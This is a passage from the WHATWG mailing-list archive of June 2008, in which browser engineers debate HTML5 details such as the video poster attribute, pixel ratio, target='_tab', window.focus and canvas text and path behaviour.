> I'm not sure a fake button (which wouldn't actually work anyway) is a 
> natural interpretation of "poster frame". :-)

As long as it's mentioned somewhere there can be no misunderstanding.

-- 
Philip J?genstedt
Opera Software



From jorgebg at tagpoint.es  Thu Jun 12 01:21:49 2008
From: jorgebg at tagpoint.es (Jorge Bay Gondra)
Date: Thu, 12 Jun 2008 10:21:49 +0200
Subject: [whatwg] nav Element
Message-ID: <a980f6160806120121r537a8c5cv7432cf82d8cdfde5@mail.gmail.com>

Hi to all,
About the nav element:
I was trying to imaging how it would be to build a site, and I realized
that, in the case of site with 2 nav bars (typically 2 sidebars) there's not
a way to specify which is the "main" sidebar and which is accessory...
What do you think about specifying hierarchy for navs elements?

Regards to all!
Jorge

Note: In the nav sample (
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-root.html#the-nav)
that includes several places with links, should be a good idea that the
header and footer list of links have to be represented in an unordered list
ul..., and not in a paragraph (!?), do you agree?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080612/c2ce57f7/attachment-0001.htm>

From ian at hixie.ch  Thu Jun 12 01:36:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 08:36:19 +0000 (UTC)
Subject: [whatwg] HTMLMediaElement buffered/bufferedBytes
In-Reply-To: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
References: <1213093444.6664.35.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120758290.8559@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Philip J?genstedt wrote:
> 
> The name of the buffered/bufferedBytes attributes imply that these 
> ranges are buffered on disk or in memory, so that they will not have to 
> be re-downloaded. However, the description reads "the ranges of the 
> media resource, if any, that the user agent has downloaded, at the time 
> the attribute is evaluated."
> 
> I would suggest that buffered/bufferedBytes be taken to mean exactly 
> what they sound like by changing the description to something like: 
> [s/downloaded/buffered/] [allow unbuffering]

Done.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From ian at hixie.ch  Thu Jun 12 02:18:46 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 09:18:46 +0000 (UTC)
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <1213170113.6562.23.camel@nog.bredbandsbolaget.se>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
	<1213170113.6562.23.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>

On Tue, 10 Jun 2008, Philip J?genstedt wrote:
> 
> http://www.w3.org/html/wg/html5/#pixelratio

Incidentally, you may prefer this version of the spec:

   http://whatwg.org/html5

It has a style sheet optimised for this specification instead of using the 
W3C style sheet. (It's otherwise identical.)


> The pixelratio attribute allows the author to specify the pixel ratio of
> anamorphic media resources that do not self-describe their pixel ratio.
> [...] The default value, if the attribute is omitted or cannot be
> parsed, is 1.0.
> 
> This seems more than strange. Should this be taken to mean that the
> pixelratio attribute is defaulted to 1.0 even for ???media resources that
>DO NOT self-describe their pixel ratio? 

Yes, but that doesn't mean what you think it means. (I've clarified this 
in the spec.)

The only way the default is used is in deciding what number to return for 
pixelRatio in the DOM when the content attribute is missing. If the 
content attribute is omitted, then the user agent doesn't adjust the 
intrinsic width of the video at all; the intrinsic dimensions and the 
intrinsic pixel ratio of the video are honoured.


> It is also worth noting that when the pixel ratio is < 1.0 it will make 
> more sense for the user agent to adjust the height than the width if no 
> width/height attributes have been set. This could be pointed out in the 
> rendering section eventually.

I've allowed this explicitly now.


On Tue, 10 Jun 2008, Ralph Giles wrote:
> 
> Does this mean the implementation must retrieve the self-described pixel 
> aspect ratio from the stream and supply it as part of the DOM?

On Tue, 10 Jun 2008, Charles wrote:
> 
> Offhand, I can't think of any use cases where it'd be useful to expose 
> pixel aspect ratio.

On Wed, 11 Jun 2008, Philip J?genstedt wrote:
> 
> Exposing pixel ratio as readonly float videoPixelRatio in 
> HTMLVideoElement might be a good idea. If the media resource doesn't 
> self-describe its pixel ratio (many formats don't) it should be assumed 
> to be 1.0. I'm not convinced it is necessary as content authors who want 
> to be very explicit will probably set the pixelratio manually. Still, it 
> is trivial to expose and might make life easier for those who want this 
> information for low-level control of the video element size via the DOM.

I don't see a good reason to expose it, so I haven't added a way to do 
that.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From borekbe at yahoo.co.uk  Thu Jun 12 02:25:04 2008
From: borekbe at yahoo.co.uk (Borek Bernard)
Date: Thu, 12 Jun 2008 09:25:04 +0000 (GMT)
Subject: [whatwg] Proposal: target="_tab"
Message-ID: <439859.40361.qm@web25905.mail.ukl.yahoo.com>

Hi Jo?o,

I'm not sure why you keep insisting that it's up to the browser -- IMO, it's up to the USER. Please read all my arguments before, it's not true that a user using a tabbed browser always prefers opening new tabs instead of new windows. That's just your user preference.

Also, having means to open new tabs as opposed to new windows in the specs is nothing against the user preference, in fact, it helps to express the user preference if the browser fails to provide it.

I will happily discuss specific issues that you have with this but please, I think we have seen enough generic statements in this thread.

Regards,
Borek

----- Original Message ----
From: Jo?o Eiras <joao.eiras at gmail.com>
To: Kristof Zelechovski <giecrilj at stegny.2a.pl>; Borek Bernard <borekbe at yahoo.co.uk>; Ian Hickson <ian at hixie.ch>; whatwg at lists.whatwg.org
Sent: Wednesday, 11 June, 2008 9:15:47 PM
Subject: Re: [whatwg] Proposal: target="_tab"

As mentioned multiple times, that up to the user agent, or browser if you  
prefer, to control. Users with browsers with tabbed interface want tabs  
and that it. Leaving such usability in control of a webpage is bad. All  
browser that support tabs allow the user to choose if they want the  
browser to open new windows of just tabs.

Na , Kristof Zelechovski <giecrilj at stegny.2a.pl> escreveu:

> You can use A.click instead of window.open.  I have ignored the keyboard
> shortcut requirement because it is irrelevant.
> I agree that modifying window.open to support tabs would be more  
> consistent;
> I just wanted to make you realize that neither is it strictly necessary  
> nor
> does it require any support from JS itself (your postulated modification  
> of
> the window.open interface method is perfectly suited for the current JS
> language, I hope?).
> HTH,
> Chris
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Wednesday, June 11, 2008 11:27 AM
> To: Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Kristof,
>
> my knowledge of JS is limited but how would you handle this situation:
> in your web app, you want to provide a keyboard shortcut for opening
> current item into a new tab. You need to invoke this action from  
> JavaScript
> so setting CSS to some DOM element is not enough (AFAIK). I think
> window.open() would need some new optional parameter or something  
> similar to
> support this.
>
> ---
> Borek
>
>
>


      __________________________________________________________
Sent from Yahoo! Mail.
A Smarter Email http://uk.docs.yahoo.com/nowyoucan.html


From philipj at opera.com  Thu Jun 12 02:52:00 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 11:52:00 +0200
Subject: [whatwg] Change request: rules for pixel ratio
In-Reply-To: <Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>
References: <1213115465.6664.83.camel@nog.bredbandsbolaget.se>
	<9B55D7C5-27AF-4AC9-A4DB-F2A37709F7EF@xiph.org>
	<1213170113.6562.23.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120842320.8559@hixie.dreamhostps.com>
Message-ID: <1213264320.6562.65.camel@nog.bredbandsbolaget.se>

I see that I made a rather serious typo in my original message. I meant
to ask

Should this be taken to mean that the pixelratio attribute is defaulted
to 1.0 even for ?media resources that *DO* self-describe their pixel
ratio?

Still, my meaning seems to have gotten across and the new phrasing is
much better.

Philip

On Thu, 2008-06-12 at 09:18 +0000, Ian Hickson wrote:
> On Tue, 10 Jun 2008, Philip Jgenstedt wrote:
> > 
> > http://www.w3.org/html/wg/html5/#pixelratio
> 
> Incidentally, you may prefer this version of the spec:
> 
>    http://whatwg.org/html5
> 
> It has a style sheet optimised for this specification instead of using the 
> W3C style sheet. (It's otherwise identical.)
> 
> 
> > The pixelratio attribute allows the author to specify the pixel ratio of
> > anamorphic media resources that do not self-describe their pixel ratio.
> > [...] The default value, if the attribute is omitted or cannot be
> > parsed, is 1.0.
> > 
> > This seems more than strange. Should this be taken to mean that the
> > pixelratio attribute is defaulted to 1.0 even for ?media resources that
> >DO NOT self-describe their pixel ratio? 
> 
> Yes, but that doesn't mean what you think it means. (I've clarified this 
> in the spec.)
> 
> The only way the default is used is in deciding what number to return for 
> pixelRatio in the DOM when the content attribute is missing. If the 
> content attribute is omitted, then the user agent doesn't adjust the 
> intrinsic width of the video at all; the intrinsic dimensions and the 
> intrinsic pixel ratio of the video are honoured.
> 
> 
> > It is also worth noting that when the pixel ratio is < 1.0 it will make 
> > more sense for the user agent to adjust the height than the width if no 
> > width/height attributes have been set. This could be pointed out in the 
> > rendering section eventually.
> 
> I've allowed this explicitly now.
> 
> 
> On Tue, 10 Jun 2008, Ralph Giles wrote:
> > 
> > Does this mean the implementation must retrieve the self-described pixel 
> > aspect ratio from the stream and supply it as part of the DOM?
> 
> On Tue, 10 Jun 2008, Charles wrote:
> > 
> > Offhand, I can't think of any use cases where it'd be useful to expose 
> > pixel aspect ratio.
> 
> On Wed, 11 Jun 2008, Philip Jgenstedt wrote:
> > 
> > Exposing pixel ratio as readonly float videoPixelRatio in 
> > HTMLVideoElement might be a good idea. If the media resource doesn't 
> > self-describe its pixel ratio (many formats don't) it should be assumed 
> > to be 1.0. I'm not convinced it is necessary as content authors who want 
> > to be very explicit will probably set the pixelratio manually. Still, it 
> > is trivial to expose and might make life easier for those who want this 
> > information for low-level control of the video element size via the DOM.
> 
> I don't see a good reason to expose it, so I haven't added a way to do 
> that.
> 
> -- 
> Ian Hickson               U+1047E                )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'
-- 
Philip J?genstedt
Opera Software



From ian at hixie.ch  Thu Jun 12 02:56:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 09:56:19 +0000 (UTC)
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213257494.6562.56.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
Message-ID: <Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>

On Thu, 12 Jun 2008, Philip J?genstedt wrote:
> >
> > This isn't currently defined (even without a poster, as far as I can 
> > tell), but my intention would be to not make the poster affect the 
> > intrinsic dimensions, and for the default, in the absence of video 
> > data, is 300x150.

This is defined now by the way.


> > The problem with scaling to the poster's size is that it would make 
> > the veo resize twice e (300x150 -> poster -> video) instead of just 
> > once (300x150 blank, then poster -> video).
> 
> If poster is to <video> what src is to <img>, then surely the video 
> element should take the size of the poster image if no width/height is 
> given? This is certainly my preference, as width/height would otherwise 
> effectively be mandatory when poster is used, which would in turn 
> require the poster to be of the same size as the video unless one is to 
> be scaled.

Why? The posted would be displayed in the default 300x150 box.


> That the element may be resized twice is not a problem, at 
> least not implementation-wise.

That it's resized at all is a terrible problem; that it woul resize twice 
would be a disaster, UI-wise.


> As some container formats allow changing the video frame size mid-stream 
> (notably chained Ogg streams, so called sequential multiplexing) the UA 
> could possibly resize the video element an unlimited number of times, so 
> handling that is necessary anyway.

That's not the common case, though; a poster is.


> On that note, perhaps an event to notify JavaScript UIs of such changes 
> would be useful/necessary. Perhaps reusing "resize" event would be the 
> best, other names could be "videochange" or "sizechange".

I've noted this for a v3 feature.


> > > HTTP 4xx and 5xx errors (and equivalents in other protocols) must 
> > > (may?) cause the user agent to ignore the poster attribute.
> > 
> > Well what else are they going to do? HTTP already requires this as far 
> > as I can tell.
> 
> It appears that Safari shows a little X symbol instead, but perhaps 
> specifying this behavior is not necessary. We will likely ignore the 
> poster attribute entirely instead.

Showing a red X seems contrary to the spec (which says that the <video> 
element represents the poster, the video, or nothing), but really 
rendering things are out of scope of the spec. In any case, in a few years 
we'll probably look at what implementations do and specify what the 
implementations have converged on.


> > I'm not sure a fake button (which wouldn't actually work anyway) is a 
> > natural interpretation of "poster frame". :-)
> 
> As long as it's mentioned somewhere there can be no misunderstanding.

Ok, added a note.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'

From philipj at opera.com  Thu Jun 12 03:36:43 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 12 Jun 2008 12:36:43 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
Message-ID: <1213267003.6562.87.camel@nog.bredbandsbolaget.se>

On Thu, 2008-06-12 at 09:56 +0000, Ian Hickson wrote:
> > > The problem with scaling to the poster's size is that it would make 
> > > the veo resize twice e (300x150 -> poster -> video) instead of just 
> > > once (300x150 blank, then poster -> video).
> > 
> > If poster is to <video> what src is to <img>, then surely the video 
> > element should take the size of the poster image if no width/height is 
> > given? This is certainly my preference, as width/height would otherwise 
> > effectively be mandatory when poster is used, which would in turn 
> > require the poster to be of the same size as the video unless one is to 
> > be scaled.
> 
> Why? The posted would be displayed in the default 300x150 box.

<video poster="image_of_unknown_dimension"
src="video_of_unknown_but_same_dimension"></video>

This is a probable and reasonable scenario, but currently it's
impossible to use a poster image without knowing its dimensions.

> > That the element may be resized twice is not a problem, at 
> > least not implementation-wise.
> 
> That it's resized at all is a terrible problem; that it woul resize twice 
> would be a disaster, UI-wise.

?Since the poster image will only be displayed until the video starts
playing, the options when width/height is not given are:

1. the poster image is displayed at size 300x150 for several seconds
while the video is loading, after which the video element takes the size
of the video

2. the poster image is displayed at its native size for several seconds
while the video is loading, after which the video element takes the size
of the video (which will often be the same size)

Since a resize is possible in both cases (but less likely in case 2)
both are equally problematic UI-wise, except that the image will
actually be displayed with its correct dimensions in case 2.

This is just to provide sane defaults for authors who trust the browser
to do the right things in absence of width/height. Safari already uses
the intrinsic dimensions of the poster image and then resizes to the
intrinsic dimensions of the video, which is exactly the behavior we want
to implement.

-- 
Philip J?genstedt
Opera Software



From chris.double at double.co.nz  Thu Jun 12 04:22:40 2008
From: chris.double at double.co.nz (Chris Double)
Date: Thu, 12 Jun 2008 23:22:40 +1200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <1213267003.6562.87.camel@nog.bredbandsbolaget.se>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
Message-ID: <c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>

On Thu, Jun 12, 2008 at 10:36 PM, Philip J?genstedt <philipj at opera.com> wrote:
> This is just to provide sane defaults for authors who trust the browser
> to do the right things in absence of width/height. Safari already uses
> the intrinsic dimensions of the poster image and then resizes to the
> intrinsic dimensions of the video, which is exactly the behavior we want
> to implement.

This is the behaviour I was planning to implement for poster too btw.
As a user of the video element it seemed the most logical to me.

In the absence of a poster attribute does Safari load the first frame
of the video and display that? I seem to recall it did when using a
quicktime movie but not with a Theora movie using the XiphQT plugin.
Is displaying the first frame of the video something that's useful? In
the Firefox implementation I display the first frame, but I should be
displaying nothing, right?

Chris.
-- 
http://www.bluishcoder.co.nz


From mikewse at hotmail.com  Thu Jun 12 04:28:45 2008
From: mikewse at hotmail.com (Mike Wilson)
Date: Thu, 12 Jun 2008 13:28:45 +0200
Subject: [whatwg] Focus management
In-Reply-To: <Pine.LNX.4.62.0806031103030.8559@hixie.dreamhostps.com>
Message-ID: <BAY116-DAV12D8C54689DF0BEDBB9CBCA4AD0@phx.gbl>

Ian Hickson wrote:
> window.focus() isn't in HTML5 as there doesn't appear to be a 
> valid use case for it and it is too abusable, and thus 
> shouldn't be supported. If pages depend on it being supported 
> we could make it a no-op, I guess.

I would think the opposite. Being able to pop a browser window 
to front is quite useful, and I have used it f ex in notifier
windows that sit in some kind of loop checking for a condition
(possibly minimized) and "pop up to front" when there is new 
data. And I wouldn't want to use alert() in these cases.

Then maybe this functionality really should have another 
function name, popToFront() or something, but I don't think 
there is enough reason to change it.

> Focusing an element inside a window should raise the window 
> or hidden tab at the UA's discretion.

I think the opposite about this one too, I guess it shows how
different web users may think about their visual experience ;-)

Popping a window to front on every programmatic element focusing
would make windows pop to front more often than needed. Windows
should be forced to front as little as possible as this is 
messing with the user's desktop experience. Also regard users
that don't use the standard Windows focus model (click to focus
= focused window on top) but rather the "X-mouse"-model (focus 
follows mouse = focused window may be partially obscured). If
they are typing data into a partially obscured browser window
that then calls elem.focus() to move keyboard focus, they will 
get an undesired window raise.

So, I think it is desired to distinguish between element keyboard
focus and window raising, and only let the latter be done 
explicitly and not as a side-effect of doing the former.

Lastly, I guess if deprecating window.focus() devs would start
using myDummyElem.focus() instead, to achieve the same result?

Best regards
Mike Wilson



From simonp at opera.com  Thu Jun 12 05:25:44 2008
From: simonp at opera.com (Simon Pieters)
Date: Thu, 12 Jun 2008 14:25:44 +0200
Subject: [whatwg] Interpretation of video poster attribute
In-Reply-To: <c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
Message-ID: <op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>

On Thu, 12 Jun 2008 13:22:40 +0200, Chris Double  
<chris.double at double.co.nz> wrote:

> On Thu, Jun 12, 2008 at 10:36 PM, Philip J?genstedt <philipj at opera.com>  
> wrote:
>> This is just to provide sane defaults for authors who trust the browser
>> to do the right things in absence of width/height. Safari already uses
>> the intrinsic dimensions of the poster image and then resizes to the
>> intrinsic dimensions of the video, which is exactly the behavior we want
>> to implement.
>
> This is the behaviour I was planning to implement for poster too btw.
> As a user of the video element it seemed the most logical to me.

I agree.


> In the absence of a poster attribute does Safari load the first frame
> of the video and display that?

Yes.


> I seem to recall it did when using a
> quicktime movie but not with a Theora movie using the XiphQT plugin.
> Is displaying the first frame of the video something that's useful?

Well, I think it is. :-)


> In
> the Firefox implementation I display the first frame, but I should be
> displaying nothing, right?

Why?

The spec says:

    When a video element is paused and the current playback position is the
    first frame of video, the element represents either the frame of video
    corresponding to the current playback position or the image given by
    the poster attribute, at the discretion of the user agent.

-- 
Simon Pieters
Opera Software


From giecrilj at stegny.2a.pl  Thu Jun 12 09:38:16 2008
From: giecrilj at stegny.2a.pl (=?ISO-8859-1?Q?Kristof_Zelechovski?=)
Date: Thu, 12 Jun 2008 18:38:16 +0200
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
References: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
Message-ID: <51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>

Programmatically controlling the containment of a new window is a two-edged
sword: you can provide for the lame user agent but you can also override
user settings.  The latter possibility is more painful; upgrading the
browser is easier than dealing with an impertinent Web site.
IMHO,
Chris
P.S.: If you want your answer to go to Jo?o only, just send it exclusively
to him.

-----Original Message-----
From: Borek Bernard [mailto:borekbe at yahoo.co.uk] 
Sent: Thursday, June 12, 2008 11:25 AM
To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
Subject: Re: [whatwg] Proposal: target="_tab"

Hi Jo?o,

I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
up to the USER. Please read all my arguments before, it's not true that a
user using a tabbed browser always prefers opening new tabs instead of new
windows. That's just your user preference.

Also, having means to open new tabs as opposed to new windows in the specs
is nothing against the user preference, in fact, it helps to express the
user preference if the browser fails to provide it.





From joao.eiras at gmail.com  Thu Jun 12 10:17:19 2008
From: joao.eiras at gmail.com (=?ISO-8859-1?Q?Jo=E3o_Eiras?=)
Date: Thu, 12 Jun 2008 18:17:19 +0100
Subject: [whatwg] Proposal: target="_tab"
In-Reply-To: <51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>
References: <439859.40361.qm@web25905.mail.ukl.yahoo.com>
	<51C8681CD13B4A5BB97AB6FF0D7F3A3C@POCZTOWIEC>
Message-ID: <e72b1b360806121017t13d282afwdd8860cc4a022071@mail.gmail.com>

Hi ! I didn't saw that reply.

> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER.

You're not understanding me:
when I say browser, obviously I mean client, client-side, browser,
user or whatever you want to call it, as opposed to web application or
server-side

> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.

Then we're going to bloat a specification due to browser idiosyncrasies ?
Allowing a page to control such behavior would be bad. Currently
browsers with tabbed interface manage to unclutter the taskbar and
desktop, while aggregate pages inside a single window, which is
overall good for the user's experience, good for performance, good
usability.

We'd be providing a mechanism that is not backwards compatible with
the current state of the art user agents, although we've seen that new
features heavily demanded get implemented quickly, and we'd be
providing, again, authors with mechanism to degrade the user's
experience.

I can't honestly come up with a single reason why a webpage should
open a new window instead of tab. All use cases you can come up fit
better if new tabs are open. If you don't like the fact that a tab
fits the entire window, you can either detach it, your use a user
agent that support MDI interface.

With all this say now your going to tell me I'm contradicting myself
by supporting windows now. No, you'd be wrong. I'd expect a browser to
always open tabs if there's a _blank target. Having _target and_tab
would require UA's to support two different way of opening new pages:
tabbed and detached ones.

For me it's all a matter of letting the user control the web page.

Considering this discussion is still going to last a bit, and
everything significant that could be said by me and others was said, I
rest my case.

Cheers.


2008/6/12 Kristof Zelechovski <giecrilj at stegny.2a.pl>:
> Programmatically controlling the containment of a new window is a two-edged
> sword: you can provide for the lame user agent but you can also override
> user settings.  The latter possibility is more painful; upgrading the
> browser is easier than dealing with an impertinent Web site.
> IMHO,
> Chris
> P.S.: If you want your answer to go to Jo?o only, just send it exclusively
> to him.
>
> -----Original Message-----
> From: Borek Bernard [mailto:borekbe at yahoo.co.uk]
> Sent: Thursday, June 12, 2008 11:25 AM
> To: Joao Eiras; Kristof Zelechovski; Ian Hickson; whatwg at lists.whatwg.org
> Subject: Re: [whatwg] Proposal: target="_tab"
>
> Hi Jo?o,
>
> I'm not sure why you keep insisting that it's up to the browser -- IMO, it's
> up to the USER. Please read all my arguments before, it's not true that a
> user using a tabbed browser always prefers opening new tabs instead of new
> windows. That's just your user preference.
>
> Also, having means to open new tabs as opposed to new windows in the specs
> is nothing against the user preference, in fact, it helps to express the
> user preference if the browser fails to provide it.
>
>
>
>


From dbaron at dbaron.org  Thu Jun 12 14:58:46 2008
From: dbaron at dbaron.org (L. David Baron)
Date: Thu, 12 Jun 2008 14:58:46 -0700
Subject: [whatwg] are relative values of CanvasRenderingContext2D.font live
	to style	changes?
Message-ID: <20080612215846.GA6679@pickering.dbaron.org>

I'm looking at
http://www.whatwg.org/specs/web-apps/current-work/multipage/the-canvas.html#text
which currently says:
  # When the 'font-size' component is set to lengths using
  # percentages, 'em' or 'ex' units, or the 'larger' or 'smaller'
  # keywords, these must be interpreted relative to the computed
  # value of the 'font-size' property of the corresponding canvas
  # element. When the 'font-weight' component is set to the relative
  # values 'bolder' and 'lighter', these must be interpreted
  # relative to the computed value of the 'font-weight' property of
  # the corresponding canvas element. If the computed values are
  # undefined for a particular case (e.g. because the canvas element
  # is not in a document), then the relative keywords must be
  # interpreted relative to the normal-weight 10px sans-serif
  # default. 

Suppose that the computed style of the corresponding canvas element
changes between when the font DOM attribute is set and text is
drawn.  Based on the text above, it's not clear to me whether values
like '1em' or 'lighter' should be relative to the canvas's values at
the time the font is set or the time the text is drawn.  In other
words:

  var canvas = document.getElementById("mycanvaselement");
  var ctx = canvas.getContext("2d");
  canvas.style.fontSize = "16px";
  ctx.font = "0.75em sans-serif"; // 12px, for now at least
  canvas.style.fontSize = "32px";
  ctx.fillText("hello world", 0, 0); // 12px text or 24px text?


The text above:
  # The font DOM attribute, on setting, must be parsed the same way
  # as the 'font' property of CSS (but without supporting
  # property-independent stylesheet syntax like 'inherit'), and the
  # resulting font must be assigned to the context, with the
  # 'line-height' component forced to 'normal'. [CSS]
could *perhaps* be interpreted to mean that it doesn't dynamically
update, but it's not clear.

I'd prefer if it were static, because for Mozilla, we'd either have
to add new infrastructure to handle dynamic style changes for
elements inside something that's display:none or we'd have to
recompute the style for every text operation (probably the latter).

-David

-- 
L. David Baron                                 http://dbaron.org/
Mozilla Corporation                       http://www.mozilla.com/


From ian at hixie.ch  Thu Jun 12 15:24:09 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 22:24:09 +0000 (UTC)
Subject: [whatwg] drawImage with non-existent images
In-Reply-To: <47B8EC6D.5070907@mit.edu>
References: <47B8EC6D.5070907@mit.edu>
Message-ID: <Pine.LNX.4.62.0806122218450.8559@hixie.dreamhostps.com>

On Sun, 17 Feb 2008, Jeff Walden wrote:
>
> <http://www.whatwg.org/specs/web-apps/current-work/multipage/section-the-canvas.html#drawimage>:
> 
> > If the image argument is an HTMLImageElement object whose complete 
> > attribute is false, then the implementation must raise an 
> > INVALID_STATE_ERR exception.
> 
> This is all well and good in the case where the image being drawn has 
> the same origin as the document where the canvas resides, but if the two 
> have different origins, this makes it possible to determine the 
> existence of an image on a foreign server.  This exception must only be 
> thrown if the image element's origin is the same as that of the document 
> containing the canvas being modified.
> 
> (You can already determine image existence by seeing how an image 
> affects page layout, but this still seems like a reasonable behavior 
> anyway.)

There's all kinds of ways to determine if a remote resource is present or 
not -- onload/onerror on <img> or <iframe>, importing a script from that 
host, layout effects of an image, layout effects of a style sheet...

I think that ship has sailed.

-- 
Ian Hickson               U+1047E                )\._.,--....,'``.    fL
http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'


From ian at hixie.ch  Thu Jun 12 15:47:19 2008
From: ian at hixie.ch (Ian Hickson)
Date: Thu, 12 Jun 2008 22:47:19 +0000 (UTC)
Subject: [whatwg] Canvas ath construction over save/restore boundaries
In-Reply-To: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
References: <14FF732C-77EB-48E9-A435-F67E340B4B68@apple.com>
Message-ID: <Pine.LNX.4.62.0806122239000.8559@hixie.dreamhostps.com>

On Fri, 7 Mar 2008, Oliver Hunt wrote:
>
> Hi all, while working on a bug in our canvas implementation I've noticed 
> that there's a difference in behaviour between Opera and Firefox when 
> handling path construction over save/restore boundaries.  Section 
> 3.12.11.1.1 says that the canvas path is not part of the state that is 
> effected by save/restore, unfortunately Opera and Firefox disagree on 
> what this actually means.  Firefox appears to treat restore() 
> (effectively) as a transform that undoes the any transformations 
> performed in the current state, so given the example:
> 
> context.beginPath();
> context.save()
> context.translate(100,100)
> context.rect(0,0,10,10)
> context.restore()
> context.fill()
> 
> Firefox behaves as though the set of operations was
> 
> context.beginPath();
> context.translate(100,100)
> context.rect(0,0,10,10)
> context.translate(-100,-100)
> context.fill()
> 
> which, given 3.12.11.1.8., results in the fill operation still drawing a 
> 10x10 rect at (100,100).  Opera meanwhile treats the path as being 
> completely independent of the canvas state, and so draws the rect at 
> (0,0).
> 
> What I want to know is which behaviour the spec actually intends on 
> providing.

The current transformation matrix doesn't change the position at which the 
current path is filled. That is, assuming the fill style is a solid color, 
the following:

 context.beginPath();
 context.save()
 context.translate(100,100)
 context.rect(0,0,10,10)
 context.restore()
 context.fill()

...must render the same as:

 context.beginPath();
 context.save()
